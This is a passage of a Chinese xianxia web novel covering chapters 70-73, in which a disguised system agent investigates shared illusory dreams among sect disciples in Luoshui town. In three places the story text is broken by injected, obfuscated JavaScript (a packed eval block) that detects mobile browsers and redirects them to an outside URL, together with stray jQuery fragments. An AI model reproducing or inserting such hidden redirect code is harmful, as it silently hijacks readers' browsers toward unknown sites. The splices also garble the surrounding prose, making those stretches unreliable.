“整理那堆从三部门成立开始就堆在那,根本没人动过的垃圾?” “张平达,诚实点。” 慢悠悠站起身,祝昭昭背手:“你之所以故意针对我,不就是看主系统让我空降三部门,你的位面任务被我顶掉,所以觉得不爽?” 她话直白到尖锐,惊得张平达喉头一哽。 祝昭昭将这反应看在眼里。 心里却毫无波澜。 “但你是不是忘了,你是怎么把上一个任务搞砸,让维护系统的存在以非正常程序被位面世界人员发现,差点惹出大麻烦的?” “为了收拾善后,我才被主系统空降到三部门。你张平达是真不知道,还是装不知道?” 垂眸,祝昭昭随手拿起桌边一叠纸:“所以如果你学不会谨言慎行。” “那今天,我不介意好好教你。” 下一秒,清脆的纸张拍击声响彻静到窒息的空间。 满天飞纸里,被扇得头都歪到一边的张平达脸上表情异常精彩。 祝昭昭却依旧面如平湖。 刹那间,周围再次泛起涟漪。 不再如刚开始那样小打小闹,出现在各处的涟漪不断扩散,甚至让整个幻境都开始颤抖。 祝昭昭也抓住这瞬间,与幻境之外的202重新建立链接。 摇摇欲坠的空间里,纷纷起身朝这边看来的众人中,祝昭昭平静到漠然的目光,径直锁定一个白衣女人。 一个陌生的,从未见过的女人。 202闪现在身旁,祝昭昭穿过化成虚影的张平达,一步步走向她。 荧绿色光芒自202身上扩散开来的瞬间,处在破碎边缘的空间就此被定格。 幻境控制权落入祝昭昭手。 每走一步,空间就暗下一角,直到整个幻境彻底陷入漆黑,祝昭昭也在女人面前站定。 她静静俯视着动弹不得的女人。 “别急着走。” 抬手,祝昭昭掌心白光如焰:“把不该你知道的东西留下。” “还有,” “作为拉我进幻境的回报,我也要送你一点东西。” 唇角笑意渐深,祝昭昭五指覆上女人双眼。 * 祝昭昭是被鸡鸣叫醒的。 垮着脸在床上发了好一会儿呆,直到隔壁白月书的房间传来响动,她才慢吞吞爬下床。 等到她收拾洗漱好,敲门声也同时响起—— “昭昭,你醒了吗?” 推开窗,祝昭昭深吸一口气。 顿感脑中清明许多,她转身走到门前将之打开。 “我醒了。” 她笑眯眯地:“月书师姐早上好。” “早上好。”摸摸祝昭昭脑袋,白月书牵起她手带她出门。 白月书边走边问:“昨夜休息得如何?” 目光停留在她略显疲态的双眼,祝昭昭想了想,答:“还好,只是做了梦。” 话音落,祝昭昭没有错过白月书脸上一瞬闪过的愣怔。 紧接着,她果然扭头:“你说你做了梦?” 嗯,破了幻境收拾始作俑者后做的梦。 这应该也算吧? 祝昭昭随口胡诌:“嗯,我梦到了我曾经的家还有我爹娘。” 她故意停顿片刻:“……怎么了吗,月书师姐?” 闻言犹豫片刻,白月书最后斟酌着开口:“我昨天……也做了梦。” 祝昭昭并不意外这回答。 又或者说,如果白月书说她一夜无梦,这事才比较诡异:“月书师姐你做的梦很可怕吗?” “不可怕。”抿紧唇角,白月书面露难色,“但是却很……” “奇怪。” 奇怪? 祝昭昭心念微动。 两人边走边说,最后的对话刚好被正坐在桌旁倒茶的贺稚雪等人听到。 倒茶的手一顿,贺稚雪诧异朝她俩人看去:“你们昨天也做梦了?” 祝昭昭笑而不语。 “是。” 捏了捏眉心,白月书把秦之衡赶到边上,自己拉着祝昭昭一起坐下:“梦到了些陈年旧事。” 被云珈拉着看她微黑的眼圈,祝昭昭抽空伸着脖子问:“是很讨厌的陈年旧事吗?” 白月书摇头:“也不算。与其说是讨厌的陈年旧事,倒不如说是……” “那些事的发展变得有些不一样。” 这次不止贺稚雪,剩余所有人都盯住了白月书。 依旧是慕行秋撑起隔音结界,除了他和祝昭昭,剩下的人纷纷开始交流起自己昨晚的遭遇。 相当自觉地摸向空间袋,祝昭昭从中取出糕点与灵酿摆上桌。 一口糕点一口灵酿,不时还点头赞同众人,她从善如流地享受起这难得的,不用费神套话就能收集信息的美妙时间。 而随着众人聊天时间渐长,祝昭昭也渐渐从零碎的对话内容里,拼凑归纳出了几个值得留意的信息。 一是他们都不约而同地梦到了曾经的记忆,且从几个不擅长掩饰的人脸上表情来看,应该都是不怎么愉快的记忆。 这与祝昭昭的幻境内容相同。 二是在他们被‘梦’逼到极限时,都有一个人出现并‘拯救’和‘安抚’了他们。 值得一提的是,这个‘人’的性别不固定,说男女的都有。 第三点,也是对话中最耐人寻味的一点则是—— “我没见过那个人。” 白月书眉头紧皱:“那个男人把我挡在身后,和我说别害怕,他会一直和我在一起。” 原本安静坐在一边的秦之衡闻言,神色登时变得凝重起来。 完全没搭理他,白月书说着打了个冷战,满脸被恶心到的模样:“且不说非亲非故之人为何出现在我梦中,单单他那番话,就让我听得浑身不适。” “是以我晨起之时,总觉得不仅头疼,浑身都隐隐有些不舒服。” 秦之衡的做梦过程和白月书差不多,唯一的差别在于他梦中的人是女子,而且他醒来后没白月书反应那么大。 看着秦之衡一脸紧张地掏出好几个丹瓶手忙脚乱递给白月书,贺稚雪想笑又憋住:“是么,可是我梦里那个安慰我的人,却是我认识的人。” 想了想,她补充:“不止认识,是非常熟悉的人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280553|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我吗?”陈青指指自己。 接过祝昭昭递来的糕点咬了口,贺稚雪微笑。 耸耸肩,陈青回归正题:“入我梦的同样是我熟悉的人。” “且我和三师妹醒后,都没什么不适之感。” 上官修和钟安林点头赞同。 嚼着祝昭昭投喂的丹药,云珈晃晃脑袋:“怎么我跟你们都不一样?” “我昨晚睡得可好了,今早起来也神清气爽的,还有什么梦里的人……” 发现众人瞬间将目光聚集在自己身上,云珈差点噎住:“不是没有!当然也有!” “但我不记得他长什么样了。” 刘统趁机应和点头。 而听见她这句,众人也齐齐收回视线。 云珈拍拍胸脯长舒口气。 一手托腮,一手帮她顺气,祝昭昭有些心不在焉。 每个人对幻境主人的记忆竟然是不一样的。 在白月书和秦之衡那里,幻境主人是个全然的陌生人;而在贺稚雪陈青、上官修还有钟安林处,幻境主人却成了他们熟悉的人。 到了云珈和刘统两人,他们干脆已经不记得幻境主人的脸。 加上几人晨起时的反应与差别…… 为什么会这样? 指尖下意识轻敲桌面,祝昭昭思忖着,失焦的目光落在吵闹的众人身上。 恰巧这时白月书和秦之衡正在为吃不吃丹药而较劲。 当看到被烦得不行的白月书习惯性捏起拳头威胁秦之衡时,祝昭昭脑中灵光一闪,突然意识到导致众人对幻境的记忆和反应出现差别的原因究竟在哪—— 修为。 白月书秦之衡自不用说,自带主角光环的两个人;贺稚雪等人修为同样不差,只有修为稍弱的云珈和刘统,对幻境的感觉是最好的。 也就是说,修为越高,越能察觉幻境异常,对幻境也越抗拒;反之,修为越低,则感受越好,越能体会幻境带来的‘好处’。 如果真是这样的话? 目光落在秦之衡身旁的慕行秋身上,祝昭昭突然发现众人从头到尾讨论,他却始终一言不发。 散漫的目光渐渐变得专注,祝昭昭很快注意到慕行秋不仅神色自若,脸上也找不到丝毫疲累的感觉。 完全一副充分休息过的架势。 祝昭昭指尖轻敲的动作不自觉加快。 他昨晚没被幻境影响? 祝昭昭正思忖,下一秒,慕行秋毫无征兆地抬眸,一双眼直直望向她。 “你在看什么?” 他微笑。 祝昭昭一顿:“没什么。” “如此。” 点点头,慕行秋也不多和她纠缠,而是将注意力放在众人身上。 他抬手,桌上多了个瓷瓶。 “醒灵丹,一人一颗即可。” 众人分丹药的功夫,慕行秋继续道:“我方才听完全程,若你们所说无误,那么此事很可能亦是出自设下树林幻境之人。” 猜得倒准。 祝昭昭暗忖。 “但不论如何,若此事主要影响神魂。那么,我们亦该以强化神魂之法抵抗。” 他接过秦之衡递来的丹瓶:“所以在洛水这段时间如无必要,尽量以入定替代入眠。辅以清心咒及醒灵丹稳固神魂,避免再给他人可乘之机。” 慕行秋话落,众人纷纷响应。 祝昭昭却没那么乐观。 如果这方法有用,为什么还会有那么多人迷失在洛水? 难道他们都不知道该稳固神魂? 可想归想,没有确凿证据前,祝昭昭不能把这话说出来。 毕竟在彻底摸清幻境内情前,她同样无法提供有效的预防方法。 另一边,慕行秋说完防止梦境被扰的事后,继续安排了接下来几天众人的任务。 倒也没安排什么高难度事项,只是让众人之后的几天内开始在洛水镇走走,尝试与洛水镇其他人熟悉起来,看能不能得到些什么有用信息。 “走动之余,务必记住最重要的一点。” 慕行秋语调微肃:“不要接触灵果。” 接触且必须接触灵果的祝昭昭:…… 下次拿灵果必不被你发现。 她在心底偷偷吐槽的当口,众人齐齐应声。 该嘱咐的都嘱咐完,众人顿时作鸟兽散。祝昭昭混在人群中间,本想极速开溜。 然而下一秒,她感觉有人从后面扯住她衣袖。 以为是云珈,祝昭昭扭头:“怎么……” 剩下的话在对上慕行秋双眼的瞬间,全部憋了回去。 祝昭昭感觉自己离揍慕行秋一顿再消除他记忆只有一线之隔:“你又干什么。” 仿佛并未察觉祝昭昭的敌意,慕行秋抬手拂过袖口,掌心多了个瓷瓶。 “谢礼。” 71. 送你一中指! 谢礼? 想说这是感谢她昨天把灵果交出去的谢礼? 所以还真是把她当小孩哄呢? 祝昭昭没动。 视线在瓷瓶与慕行秋的脸间来回切换,她最后终于张嘴—— “这丹药是随任务拨下的吗?” 空气瞬间凝滞。 像是没发现突然诡异起来的气氛,祝昭昭面无表情地继续:“如果是任务拨下的丹药,我可能会不好意思收。” “所以是吗?” 没有回应。 下一秒,一道灵力缠上祝昭昭小臂,温和却不容拒绝地控制她的手张开。 紧接着,那个小小的瓷瓶被放进她掌心。 “昭昭师妹,有一点你可能有些误会。” 慕行秋微笑,“宗里并无‘任务拨药’这一说法,如今给你的复灵丹,包括刚才分掉的醒灵丹——” “都是师兄我本人之物。” 话落,他再次操纵灵力,让祝昭昭把瓷瓶收进袖中:“所以师妹尽可放心将这谢礼收好,你的担忧……” “不会出现。” 最后的话是一字一句说完的。 瓷瓶落进袖中口袋,祝昭昭看着慕行秋。 依旧是惯常的温和笑脸,可他明明在笑,祝昭昭却从中看出了点咬牙切齿的意味。 真好玩。 下次还这么玩。 眨眨眼,祝昭昭回神,又是一副无知小师妹模样:“既然这样,那昭昭多谢慕师兄好意。” “不客气。”眼中不自觉闪过抹无奈,慕行秋神色缓和下来。 见他没有再和自己计较的意思,想了想,祝昭昭拿出瓷瓶倒了颗丹药扔进嘴里。 丹药易融,入口便很快化水滑进喉中。祝昭昭将之咽下后直接问慕行秋:“慕师兄,刚才大家聊天你为什么不说话。” “你没有做梦吗?” 望着祝昭昭嚼丹药的目光收回,慕行秋回了两个字:“做了。” 祝昭昭:“那……” 他倚在栏边,垂眸向楼下熙来攘往的人群:“有人。” 祝昭昭死鱼眼:“……” 这人说话为什么一节一节往外蹦? 沉默了一下,祝昭昭最后当无事发生:“那慕师兄你,现在身上有没有哪里不舒服?” “比如说像月书师姐那样,头疼或者浑身难受。” “有。”慕行秋依旧言简意赅。 祝昭昭顿时瞪大眼看着他。 洛水镇的幻境竟然厉害到能让慕行秋都中招? 那其他人待得时间长了岂不更是…… 最重要的是这人有点什么也不显山不露水的架势,要是被幻境影响深了,自己找个没人的地方自爆还算功德一件。 要是待在队伍里,趁机给所有人个大的…… 祝昭昭简直不敢再想下去。 不过很快,她就听见栏边的慕行秋淡声继续:“但也许是因为晨起开窗时,不小心吹了些风。” 祝昭昭:…… 你是不是觉得自己很幽默。 把给他一拳的念头赶出脑海,懒得费工夫在这种心眼比针尖还小的人身上,祝昭昭准备跑路:“既然师兄没事,那昭昭就放心了。” “我还有事,就不浪费师兄时间,先走一步——” 她话还没说完,就见慕行秋突然朝自己的方向侧头。 吓得她心里顿时一个咯噔:“师兄有什么事?” “确实有些事。”慕行秋整个人转向祝昭昭。 他双手环胸:“昭昭师妹问我方才为什么不说话。那你呢?” “你又为什么也不说话?” 啧。 她就知道。 欲走的脚步顿住,祝昭昭极速思考后,答:“我说了,和月书师姐从楼上下来的路上说的。” “贺师姐还有其他人都听到了,慕师兄你没听到吗?” 这时候不看人容易被怀疑心虚,祝昭昭于是坦荡和慕行秋对上视线。 果不其然,态度动摇的人变成了慕行秋。 眼底闪过的意外被掩饰得很好,他微微颔首:“如此。” 接着继续问:“那你不提梦醒后身上的感觉,想来一定是忘了。” 祝昭昭:…… 套话套没完了意思是? 祝昭昭:逐渐失去耐心。 不过总归刚才已经有其他人提前打样,祝昭昭评估完自己明面修为,还是给出折中答案:“确实,因为我今早起来感觉很好。” “加上他们聊得太认真,所以我不小心忘记提了。” 并不赞同或反对,慕行秋眼中忽然多了些笑意。 直到祝昭昭被看得光火,准备狠狠阴阳慕行秋一顿时,他终于开口。 “昭昭师妹今天……应该还没来得及照镜子。” 祝昭昭:? 请问这事跟你有关系吗? 彻底失去耐心,祝昭昭准备好好嘲讽一下眼前人消消火。 下一秒,他却抬手,指尖在距离她眉心半寸的位置轻点。 顿时只觉一阵凉风拂面,祝昭昭警惕地盯着眼前微微屈膝与自己平视的人:“慕师兄这是什么意思?” “没什么意思。” 慕行秋直起身,重新走回栏边:“要忙什么便去吧,不必待在这了。” 话落不等祝昭昭反应,他轻轻摆手作逐客状。 祝昭昭当时就感觉一股火直冲脑袋。 你叫留就留你叫走就走? 你打发谁呢? 怒瞪慕行秋半晌,祝昭昭最后朝他竖了个中指。 竖完就跑。 而直到眼尾余光再看不见她的身影,慕行秋才不紧不慢地动起来。 扭头向祝昭昭离去的方向,他垂眸,神色若有所思。 总不说实话。 可也确实找不到她的破绽。 她到底做了什么? 还有…… 她刚才比的那个动作又是什么意思? 思忖着,慕行秋尝试着还原了祝昭昭刚才的手势。 盯了一会儿,他开始皱眉。 不知道为什么,他隐约从这手势里察觉出了点不礼貌的攻击性。 于是收回手,慕行秋很快也从另一边楼梯离开。 * 火在开溜时已经消得差不多,祝昭昭最后散着步来到街上。 202的声音在她脑海响起:“主人,东西我已经设定好,只要他下次再来,我们第一时间就能发现。” 心不在焉的祝昭昭:“嗯。” “嗯什么啊?”202表示不满,“我们昨晚可是差点着了那家伙的道啊!” “太危险了好不好。” 被它吵得回神,祝昭昭被路边卖玩具的小贩吸引注意:“你被屏蔽,跟我有什么关系?” “而且最后幻境不是被控制住了么,该做的事也做完了。” 202没吭声。 提到这个它就想发抖。 平心而论,昨晚的幻境几乎称得上天衣无缝。尤其对这个世界来说,祝昭昭的记忆根本是匪夷所思的存在。 可就在这样的前提下,幻境依旧完美。 不仅完美,幻境甚至做到了在它一无所察的情况下,将它和祝昭昭分开。 如果不是祝昭昭最后凭一己之力打碎幻境…… 他们会不会是下一个张平达? 想到这个可能性就吓得要死,202忍不住叨叨:“总之主人你对这件事必须认真认真再认真。” 祝昭昭‘嗯哼’一声当做回答。 拿她那副雷打不动的模样没辙,202最后悻悻回归正题:“不过主人,我们现在虽然可以抵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280554|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抗幻境影响,但只有我们可以也不行啊。” “其他人怎么办?” 它忧心忡忡:“大反派那套会有用吗?” “很难。”祝昭昭言简意赅。 202泄气。 “你怎么不问问我为什么不帮他们?”祝昭昭揶揄它,“这不像你的风格。” “我们的道具太特殊了,给其他人用的话很容易被发现的好吗?” 202没好气地:“主人你把我想得太简单了。” 祝昭昭差点笑出声。 “先观察几天。” 瞄见前方不远正和镇民热情攀谈的云珈,视线移到她身后站得像两根木头桩子一样的白月书和秦之衡,祝昭昭脚步一转改变方向—— “昨天我们虽然及时控制住了幻境发展,但也因为及时过头,搞得很多信息没来得及了解清楚。” 很难形容现在复杂的心情,祝昭昭有些烦躁:“真是……” 202在边上听得一头汗:“算了吧主人。” “昨天那种情况下多耽误一分钟,我们都会暴露多一点。跟我们的身份比起来,那点信息算什么啊……” “搞不清楚的东西之后慢慢搞清楚就好了。”它一脸郑重地强调,“真的。” 闻言不置可否,躲开云珈等人,祝昭昭随便找了个方向继续逛。 就像其他人需要在这段时间和洛水镇民熟络,以便调查弟子暴毙的原因;祝昭昭同样需要在这段时间摸清洛水镇的各个道路地点,以便排查魔族通道可能存在的地方。 且她的时间还要更紧。 因为如果能赶在其他人查清弟子暴毙前毁掉魔族通道,会省下很多相关的收尾麻烦。 但洛水镇不小,大大小小的道路也多,想快速排查完并不现实。所以这只是最乐观的设想。 考虑再三,祝昭昭决定先从偏僻的小路开始找。 毕竟魔族通道这种东西如果藏在人多的地方,以洛水这种修士常临的状态,哪怕藏得再好,也保不齐哪天就突然被发现。 思忖着,祝昭昭很快注意到不远处的一条小路。 她走过去。 不像常有人走动的模样,眼前的小路边上杂草疯长,草丛深处隐约还有农具被扔在里面,也不知道是谁暂时扔那的。 环顾四周大概记了下路的位置,祝昭昭准备走进小路。 然而下一秒,有声音突然在她身后响起:“小女娃,你进去干什么啊?” 啧。 祝昭昭转身,就见一个皮肤黝黑的中年男人站在不远处。 看到祝昭昭转身,男人朝她招手:“小女娃,那边偏僻,你跑过去干什么?” 被问得语塞,祝昭昭很快想到草丛里的农具:“啊,刚才有人让我过来帮他拿扔在这的农具呢。” “什么农具啊?”男人笑容憨厚,“那地方除了杂草啥都没有,小女娃你看错了吧?” 没有? 祝昭昭皱眉。 她回头,想把农具指给男人看,然而视线重落在那处时,却只剩茂密杂草丛。 哪还有半分农具的影子? 祝昭昭不可置信地愣在原地。 男人在后面大声招呼:“我没说错吧小女娃,谁会把农具扔到那地方去?” “你快过来吧。” 不想节外生枝,祝昭昭站了片刻,最后还是朝男人的方向走了过去。 嘱咐了祝昭昭两句,男人匆匆离开,剩下她独自沉默地望着小路。 那杂草丛里确实空空如也,什么都没有了。 直到有风吹来,杂草摆动时连成一片沙沙声中,祝昭昭终于回神。 她在脑海召唤:“202。” “在。”202立刻。 她神色莫测:“你告诉我。” “刚才杂草丛里,到底有没有东西。” 72. 我精神状态好得很呐! “啊?” 望着祝昭昭阴沉的脸色,202吓得几乎是不假思索:“有有有,当然有。” 此刻的它无比庆幸自己刚才没有溜号去看电视或斗地主:“我刚才也看到了,杂草丛里就是有农具。” 为防止祝昭昭觉得自己是在敷衍胡说,202倾情描述:“一把钉耙一把锄头,锄头的柄还断了。” 它信誓旦旦:“千真万确。” 祝昭昭斜它一眼,没有接话。 沉吟片刻,她抬手给自己施了个隐身诀,重新走到路口。 等了一会儿也不见任何变化,祝昭昭皱眉。 农具确实凭空消失了。 在那个男人出现后。 可为什么会这样? 祝昭昭怎么都想不出理由。 总不能农具是声控的,听见人声就消失;又或是它其实是妖兽变的,有人靠近就被吓跑。 忽地意识到自己刚才究竟在想什么,祝昭昭抿唇。 虽然不太想承认,但有那么一瞬间,她真的开始在回忆有哪些长相形态类似木柄的妖兽。 不太聪明似的。 所以到底是哪里出了问题? 眨眨眼,祝昭昭回过神。 她若有所思地盯着面前的小路:“202。” 202积极响应:“怎么了主人?” 祝昭昭双手环胸:“从现在开始,我每探查一个地点,过程你都要做好路线记录。” 她指尖在臂弯轻点:“探查结束后,再根据记录下来路线,整理出一份地图给我。” 202:“没问题!” 它应得干脆,祝昭昭脸色总算上总算多了些轻松神色。 目光落在路中央的小碎石,她沉吟。 如果人眼搞不清场景是怎么变化的,那就直接在探查道路的同时记录全程。 她倒要看看,做到这个程度后,相同的情况还会不会再出现。 不再犹豫,祝昭昭快步走进小路。 * 之后一连几天,所有人都各司其职,兢兢业业地按照原计划,每天分散在洛水各处,为和镇民熟悉和套情报做努力。 而白月书、云珈和贺稚雪三人出于安全的考虑,经常会找祝昭昭一起。 尤其是云珈—— 自从和白月书熟悉后,作为白月书铁杆迷妹,她几乎可以说是找尽理由,只为和白月书待在一块。 但“得到”白月书后,她又后知后觉认为自己“冷落”了祝昭昭,于是转而开始非常积极地找祝昭昭。 可祝昭昭在做的事根本不能有旁人在场。 所以祝昭昭每次躲她躲得最辛苦。 已经化身地图路线规划员的祝昭昭表示:谢谢,你们玩得开心就好,不要管我。 好在祝昭昭躲了几天,三人渐渐也习惯了她的缺席。是以在一次回房被逮时,祝昭昭向白月书承诺有危险一定会叫她后,终于正式获得了单人行动权。 祝昭昭:这真的很不容易。 和三人展开如火如荼的躲避战之余,对幻境影响始终耿耿于怀的祝昭昭其实一直在观察其他人。 也确实注意到了另外的一些问题。 比如说…… 众人的状态。 如果她没看错的话,随着时间推移,所有人似乎都没再出现第一天那种晨起不适的状态。 取而代之的,是越来越精力充沛的模样。 而且似乎…… 充沛过了头。 祝昭昭很难描述那种感觉。 只是当她靠在栏边目送秦之衡走出客栈时,望着他挺得过分笔直的背脊,那种感觉便如同涟漪般,在心底不受控制地愈加扩散。 祝昭昭面无表情的模样看得陈青忍俊不禁:“昭昭,你那是什么表情?” “之衡是出去打探消息,又不是上战场。”他一手托腮,话带调侃,“你做什么那样看他?” 祝昭昭闻言眼皮都不抬。 见状也不恼,陈青甚至好脾气地继续猜:“我明白了,因为他出去不愿意带上你?” 祝昭昭:…… 谁来把这个同样病得不轻的人拖走。 她依旧目不斜视。 直到秦之衡的身影彻底消失在客栈大门,祝昭昭终于动起来。 将下巴埋进臂弯,她话音微微含糊:“慕师兄,你确定你的方法没问题吗?” 虽然不知道为什么在祝昭昭身边的是自己,她却在问慕行秋。但陈青还是笑眯眯地:“那是自然。” 他满脸理所应当:“大师兄不仅修为高绝,对万事万物亦观察入微。他若道出问题,定同样能道出答案。” “而他的答案,必定是对的。” 这么信任慕行秋? 祝昭昭不禁侧目。 可谁说他的应对方法是对的,你或者其他人用了就同样也能起效? 他马上化神,你也是? 而且没人告诉过你什么叫‘使用效果因人而异’吗? 以及你知不知道自己现在已经够反常了啊? 祝昭昭:这是在干什么·jpg 懒得和状态异常兼慕行秋崇拜者的陈青多费口舌,祝昭昭‘唔’了一声当做回答。 然后继续盯着人来人往的客栈大厅发呆:“所以慕师兄,你怎么想?” 不明白祝昭昭为什么还在问慕行秋,陈青皱眉。 紧接着他刚准备开口,一道熟悉男声便突然在他身旁响起。 慕行秋在他边上站定:“我觉得,也许确实欠佳。” 没想到慕行秋会突然出现,更没想到他竟然这么回答,陈青看看祝昭昭又看看他:“大师兄何出此言?” “相比第一晚,陈青真的觉得自己好多了。” 为了让两人相信,他甚至开始原地空手舞剑。 边舞边朝两人示意:“你们看,我真的没——” 剩下的话因为他分神后一招左脚绊右脚,全部绊了回去。 空气里瞬间弥漫起些许尴尬。 但祝昭昭仍旧不为所动。 不仅不为所动,她甚至差点拿出零食来看戏。 反正幻境的影响暂时无法解除,那看看平常狡猾得像狐狸的人犯病出糗,怎么不算一种苦中作乐? 祝昭昭:好看爱看,甚至想录像等他恢复以后大家一起看。 赶在陈青摔地上之前拎着他后脖领把他拉住,慕行秋脸上笑容难得有些无奈。 祝昭昭:更爱看了。 然而还没等幸灾乐祸完,祝昭昭就见慕行秋察觉到什么似的抬头向自己这边。 她表情立马一键切换:“陈青师兄胡闹,慕师兄辛苦。” 松手任陈青自己站好,慕行秋朝她笑笑。 站在两人中间的陈青仍努力试图证明:“方才只是意外,我真的还好。” 慕行秋和祝昭昭难得在此刻反应一致:“嗯,知道了。” 陈青最后悻悻离开。 望着他略显失落的背影,祝昭昭回归正题:“慕师兄还有什么其他稳定心神的方法么?” 走到祝昭昭身旁,慕行秋背靠围栏:“有,但消耗太大,且很容易引起幻境主人注意。” 202震惊:“主人,他竟然知道!” 比起202的惊恐,祝昭昭倒是并不意外慕行秋已经察觉出梦境与幻境的差别。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280555|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她甚至怀疑慕行秋其实第一晚就知道了:“可如果放任情况恶化,事情会变得更棘手。” 慕行秋闻言颔首:“的确。” 祝昭昭偷偷在心底翻白眼。 说点有用的行吗? “那么,”慕行秋不紧不慢地反问,“昭昭师妹对此事又有何见解?” 问她? 祝昭昭扭头,正对慕行秋同样望着她的双眼。 两人对上视线的瞬间,慕行秋好脾气地朝她弯起唇角。 表情管理差点失控,祝昭昭表示无福消受。 她嫌弃地移开视线:“昭昭不过初入宗门,如何能处理如此棘手的事情。慕师兄实在高看昭昭。” 想了想,她最后补充:“一切还以慕师兄规划即可。” “是么?” 慕行秋微微侧头,发冠上坠着的银链随之轻响:“我倒觉得,也许昭昭师妹会提出更好的解决之道。” 他朝祝昭昭眨眨眼:“昭昭师妹觉得如何?” 不如何。 祝昭昭内心毫无波澜。 如果想听别人的意见,麻烦请不要对别人的行动指手画脚。 两颗灵果都不让拿,现在又让人提哪门子意见啊? 要不还是大大方方做完该做的,然后赏他一个记忆清洗套餐吧。 祝昭昭:逐渐失去耐心·jpg 思维发散完,她最后选择装没听见:“所以慕师兄想到其他好办法了吗?” 见她一副苦苦按捺的表情,慕行秋莞尔:“有。” “但办法好不好,试过才知。” * 关于慕行秋口中对抗幻境影响的“办法”,祝昭昭想过很多或简单或复杂的很可能。 然而真当慕行秋把方法告知所有人时,祝昭昭还是为该手段之简单粗暴,小小地震撼了一把。 “他竟然让大家入定前封闭五感。” 祝昭昭说着,差点笑出声:“以他的水平,我本来以为他会弄点更复杂的办法?” “主人,虽然但是……”202欲言又止,“有用就好了呀。” “所以你知道有用没用?” 祝昭昭一脸‘你脑子是不是有问题’的表情:“我又用不上。” “那主人你昨晚为什么不用?” 202沉思:“如果想知道封闭五感到底有用没用的话,那大反派昨天说的时候你就应该试一下啊。” “我就不能一会儿出去看看别人什么情况?”祝昭昭嫌弃地摆摆手,“非要自己试?” 202沉默。 那干嘛还在这里问来问去的。 才懒得管202想什么,梳洗完的祝昭昭推开房门。 接着就看见云珈正站在白月书房门前,正和白月书说些什么。 很快循着响动发现祝昭昭,云珈笑容满面地和她打招呼:“昭昭,早上好啊!” 白月书见状也朝祝昭昭招手,示意让她过来。 闻言听话地向两人走去,看着她们脸上明显已经符合平常性格的表情,祝昭昭心头一松。 没准封闭五感真的有用? 思忖着,她停在两人面前:“你们在聊什么?” “没聊什么。”云珈依旧笑眯眯的,“我就是在和月书师姐说,没准那个人已经死了。” 哦,就是有人要死啊。 祝昭昭也跟着笑。 有人死…… ? 等等。 有人死了? 反应过来的祝昭昭面色大变。 这种事情是该呲着大牙说的吗?! 看着云珈眉眼弯弯的笑模样,祝昭昭瞳孔地震。 73. 他到底死了还是没死? 见祝昭昭呆呆地愣在原地,白月书顿时有些慌。 她先是嗔怪地瞧了眼云珈:“云珈,莫要胡说。你吓到昭昭了。” 再轻轻拍了拍祝昭昭的脑袋,试图安慰她:“昭昭,不是你想的那样。” 哦不是我想的那样啊。 祝昭昭回神。 她就说如果真有人死了,正常人应该很难笑着把这事说出来。 所以果然是有误会。 脸上重新多了点笑容,祝昭昭刚想说些什么,接下来就听白月书道—— “那个人应该不至于已经死了。” 她一脸淡定从容:“半死吧。” 对面的云珈作恍然大悟状:“原来如此。” 祝昭昭:…… 原来如此个头啊! 所以说原来封闭五感效果也不行吗! 这不是完全还癫着嘛?! 祝昭昭:心好累。 拍拍两人肩膀,身心俱疲的祝昭昭叹气:“死了也好,没死也罢。” “带我去看看那个人吧。” * 让白月书和云珈带自己去看她们口中的薛定谔死人,确实有祝昭昭自己的考量。 一方面是探查了一段时间道路后,她发现除开被镇民打扰的那次外,之后再探路,都没有再出现环境改变的情况。 另一方面是从出意外的那次探路后,再行动时,她几乎都会选择隐身。加上走的都是少有人走的路,导致探路这段时间,她一直没再碰见过什么人。 是以到目前为止,她对洛水镇民以及其他修士的了解,是欠缺的。 而虽然幻境的影响是埋在所有人里的定时炸弹,但同时,它也必定辐射全洛水。 在这种情况下,祝昭昭打算试试能不能从洛水镇的其他人那里,找到解决幻境影响的突破口。 否则不等自己一帮人调查出什么问题,幻境已经先把所有人同化了。 那还怎么搞? 当然最重要的一点,还是云珈和白月书的薛定谔死人论实在太抽象,抽象到祝昭昭觉得实在有必要跟随两人去一探究竟。 “到啦!” 发散的思绪被云珈高兴的声音打断,祝昭昭视线很快聚焦。 她环顾四周:“这里是……” “这里是碧波潭。” 白月书贴心地开始介绍:“整个洛水镇灵力最充沛的几个地方之一,很多修士喜欢在此修炼。” 闻言目光再放远,祝昭昭果然在更靠近潭水的地方,看见很多正在打坐的修士。 感受到空气中充沛的灵力,她赞同点头:“确实是好地方。” 见祝昭昭真的在仔细打量周围,云珈‘咦’了一声:“碧波潭可是修士们最常待的地方,昭昭你居然不知道?” “你还没来过?” 